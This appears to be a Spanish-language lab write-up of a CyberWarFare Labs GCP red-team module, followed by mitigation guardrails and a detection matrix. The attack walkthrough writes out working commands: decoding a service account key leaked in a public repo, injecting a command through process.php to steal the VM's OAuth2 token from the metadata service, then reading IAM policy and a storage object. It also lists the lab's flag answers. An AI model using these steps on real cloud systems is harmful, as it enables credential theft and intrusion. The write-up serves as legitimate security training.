← Writeups

GCP Cloud Red Teaming — CWL Meta Tech Assessment

Cadena de ataque contra infraestructura GCP: service account key filtrada en un repo público → acceso gcloud → SSRF+RCE en VM → robo de token OAuth2 vía metadata (Metadata-Flavor: Google) → enumeración de IAM y GCS. Con guardrails de mitigación.

GCP Cloud Red Teaming — CWL Meta Tech Assessment

Laboratorio: CWL Meta Tech — Multi-Cloud Red Team Assessment (Módulo GCP) Plataforma: CyberWarFare Labs Objetivo: identificar y explotar misconfiguraciones en la infraestructura GCP de CWL Meta Tech Corporation.


1. Executive Summary & Attack Surface

El módulo GCP es el que mejor ilustra el riesgo de supply chain: el initial access no es un recurso cloud expuesto, sino una service account key en base64 embebida en un pipeline.yml de un repositorio público. Esa key (con un custom role que solo lista instancias) no da acceso administrativo por sí sola — pero permite identificar la infraestructura y llegar a la VM con la app vulnerable. El patrón SSRF→metadata se repite con un tercer sabor de IMDS (Metadata-Flavor: Google), y el token robado de la VM sí escala: roles/reader a nivel proyecto + acceso a Storage.

Cadena de ataque

Cadena de ataque GCP de CWL Meta Tech Cadena de ataque desde una service account key filtrada en GitHub, pasando por la autenticación con gcloud, la explotación de SSRF y RCE en process.php, el robo de un token OAuth2 vía metadata de GCP y la enumeración de IAM y Cloud Storage. RECON · GITHUB APPLICATION POST-EXPLOIT · GCP GITHUB SEARCH SA KEY GCLOUD SSRF · META OAUTH TOKEN IAM POLICY LIST OBJECTS OSINT GitHub OSINT cwl-metatech LEAK SA key leak pipeline.yml · base64 CLI gcloud auth dev-sa-key.json APP process.php SSRF + RCE CLOUD GCP metadata Metadata-Flavor TOKEN VM token OAuth2 · Bearer IAM CRM getIamPolicy reader · VMReadgek STORE GCS bucket stag-storage… LEGEND Focal Store Externo Input Backend Flujo ataque
Fig. 1 — Supply chain como initial access: la SA key solo lista instancias, pero el token robado de la VM escala a reader + Storage.

Superficie de ataque

Vector Detalle Credenciales requeridas
SA key en repo público cwl-metatech/production-data → pipeline.yml con ENCRYPTED_GCP_KEY en base64 Ninguna
Custom role VMReadgek La key solo permite compute.instances.list La key filtrada
SSRF + RCE process.php en la VM stag-instance Ninguna
GCP IMDS Metadata-Flavor: Google → token OAuth2 de la VM Ninguna (vía RCE)
Token de VM roles/reader a nivel proyecto + acceso a Storage Token robado

Initial access: la lección central del módulo es que una key con el mínimo privilegio todavía es un activo de reconocimiento: permite mapear el proyecto, localizar la instancia y alimentar el siguiente eslabón de la cadena.


2. Privilege Escalation & Lateral Movement Path

2.1 Flags 1–2 — OSINT en GitHub y la key en el pipeline

El repositorio público cwl-metatech/production-data expone una CI/CD pipeline con una variable de entorno en base64:

curl -s "https://raw.githubusercontent.com/cwl-metatech/production-data/main/pipeline.yml" \
  | grep -oP '(?<=ENCRYPTED_GCP_KEY=")[^"]+' \
  | base64 -d | python3 -m json.tool
{
  "type": "service_account",
  "project_id": "mcrta-exam",
  "client_email": "dev-service-account@mcrta-exam.iam.gserviceaccount.com"
}

Flags 1–2: https://github.com/cwl-metatech/production-data · mcrta-exam

2.2 Flags 3–4 — Autenticación y discovery de infraestructura

La key trae \n literales (escapes JSON) que hay que normalizar antes de usarla con gcloud:

curl -s "https://raw.githubusercontent.com/cwl-metatech/production-data/main/pipeline.yml" \
  | grep -oP '(?<=ENCRYPTED_GCP_KEY=")[^"]+' | base64 -d \
  | python3 -c "
import sys, json
data = json.load(sys.stdin)
data['private_key'] = data['private_key'].replace('\\\\n', '\n')
print(json.dumps(data, indent=2))
" > /tmp/dev-sa-key.json

gcloud auth activate-service-account --key-file=/tmp/dev-sa-key.json
gcloud config set project mcrta-exam
gcloud compute instances list --project mcrta-exam
# NAME           ZONE           MACHINE_TYPE   EXTERNAL_IP   STATUS
# stag-instance  us-central1-b  n1-standard-1  34.27.221.40  RUNNING

gcloud compute instances describe stag-instance --zone us-central1-b \
  --project mcrta-exam --format="get(serviceAccounts)"
# {'email': 'vm-service-account@mcrta-exam.iam.gserviceaccount.com', 'scopes': [...]}

Flags 3–4: stag-instance · vm-service-account@mcrta-exam.iam.gserviceaccount.com

2.3 Flags 5–7 — Pivot: metadata de la VM y política IAM

La dev SA no puede leer IAM del proyecto, pero la VM ejecuta el mismo process.php. GCP metadata exige el header Metadata-Flavor: Google (el equivalente a Metadata: true de Azure):

curl -s -X POST "http://34.27.221.40/process.php" \
  -d "url=x&date=2024-01-01&ip=x" \
  --data-urlencode 'organization=curl -s -H "Metadata-Flavor:Google" \
    "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"'

Con el token OAuth2 de la VM se lee la política IAM completa del proyecto:

curl -s -H "Authorization: Bearer $VM_TOKEN" \
  -X POST -H "Content-Type: application/json" \
  "https://cloudresourcemanager.googleapis.com/v1/projects/mcrta-exam:getIamPolicy" \
  -d "{}" | python3 -m json.tool
{
  "bindings": [
    { "role": "roles/reader",
      "members": ["serviceAccount:vm-service-account@mcrta-exam.iam.gserviceaccount.com"] },
    { "role": "projects/mcrta-exam/roles/VMReadgek",
      "members": ["serviceAccount:dev-service-account@mcrta-exam.iam.gserviceaccount.com"] }
  ]
}

La definición del custom role:

curl -s -H "Authorization: Bearer $VM_TOKEN" \
  "https://iam.googleapis.com/v1/projects/mcrta-exam/roles/VMReadgek" | python3 -m json.tool
# "includedPermissions": ["compute.instances.list"]

Flags 5–7: roles/reader (VM) · dev-service-account@mcrta-exam.iam.gserviceaccount.com (VMReadgek) · compute.instances.list

2.4 Flags 8–10 — Storage: del bucket al license-key.txt

curl -s -H "Authorization: Bearer $VM_TOKEN" \
  "https://storage.googleapis.com/storage/v1/b?project=mcrta-exam" \
  | python3 -m json.tool | grep '"name"'
# "name": "stag-storage-metatech-prod11"

curl -s -H "Authorization: Bearer $VM_TOKEN" \
  "https://storage.googleapis.com/storage/v1/b/stag-storage-metatech-prod11/o" \
  | python3 -c "import sys,json;[print(o['name']) for o in json.load(sys.stdin).get('items',[])]"
# license-key.txt

curl -s -H "Authorization: Bearer $VM_TOKEN" \
  "https://storage.googleapis.com/storage/v1/b/stag-storage-metatech-prod11/o/license-key.txt?alt=media"
# V13JG-NPH5M-S97JM-9MPGT-3S66T

Flags 8–10: roles/reader (dev SA a nivel VM) · stag-storage-metatech-prod11 · V13JG-NPH5M-S97JM-9MPGT-3S66T

2.5 Resumen de flags

# Pregunta Respuesta
1 GitHub repo con leaked key https://github.com/cwl-metatech/production-data
2 Project ID mcrta-exam
3 Compute instance name stag-instance
4 SA email del instance vm-service-account@mcrta-exam.iam.gserviceaccount.com
5 Role de VM SA a nivel project roles/reader
6 SA con VMReadgek custom role dev-service-account@mcrta-exam.iam.gserviceaccount.com
7 Permiso en VMReadgek compute.instances.list
8 Permiso de dev SA a nivel VM roles/reader
9 Nombre del storage bucket stag-storage-metatech-prod11
10 License key V13JG-NPH5M-S97JM-9MPGT-3S66T

3. Mitigation & Cloud Guardrails

3.1 Guardrails por capa

Secretos — eliminar la entrada:

  • Nunca commitear service account keys, ni siquiera en base64. Usar Workload Identity Federation o secreto rotado por Secret Manager.
  • Escanear repos con secret scanning (GitHub Push Protection) y trufflehog/gitleaks en el historial, y rotar cualquier key expuesta — una key "de mínimo privilegio" filtrada todavía expone el project ID y habilita el reconocimiento.

IAM — mínimo privilegio real:

// Custom role endurecido: quitar compute.instances.list global y acotar
{
  "includedPermissions": ["compute.instances.get"]
}
// Policy de la VM: solo la identidad necesaria, sin reader a nivel proyecto
{
  "bindings": [
    { "role": "roles/reader",
      "members": ["serviceAccount:vm-service-account@mcrta-exam.iam.gserviceaccount.com"],
      "condition": { "title": "restrict-to-resource",
                     "expression": "resource.name == 'projects/mcrta-exam/zones/us-central1-b/instances/stag-instance'" } }
  ]
}

Metadata service — endurecer el acceso:

  • Restringir la default service account de la VM (la que expone el token en /computeMetadata/v1/instance/service-accounts/default/token) y asignar una SA dedicada sin storage.* global.
  • El SSRF debe neutralizarse en origen (validación de URL + allowlist de destinos), no confiando en el header: un SSRF con file:// o redirección sigue siendo el mismo primitivo.

Storage:

  • roles/storage.objectViewer acotado al bucket con condition en resource.name, o IAM conditions a nivel objeto.
  • Logging de acceso a GCS (DATA_READ) con alertas para lecturas anómalas desde SA de VM.

3.2 Matriz finding → guardrail → detección

Finding Guardrail Señal de detección
SA key en repo público Secret scanning + Workload Identity GitHub Secret Scanning alerts; gcloud auth desde IP externa no corporativa (Cloud Audit Logs google.iam.admin.v1 / oslogin)
Custom role compute.instances.list global Custom role mínimo + conditions Llamadas compute.instances.list frecuentes desde una SA de dev
SSRF→metadata token theft Validación de URL + allowlist Peticiones a metadata.google.internal desde la app (VPC flow logs / audit)
roles/reader a nivel proyecto en la VM Binding con condition por recurso google.cloud.resourcemanager.v1.Projects/GetIamPolicy desde la SA de la VM
Bucket accesible con token de VM objectViewer acotado por bucket/condición storage.objects.get sobre license-key.txt desde una SA de VM

3.3 Orden de prioridad

  1. Rotar la SA key filtrada y activar secret scanning (corta la entrada).
  2. Neutralizar SSRF+RCE en process.php.
  3. Acotar IAM de la VM (reader solo con condition por recurso) y restringir la default SA.
  4. Acotar acceso a Storage al bucket y objeto necesarios.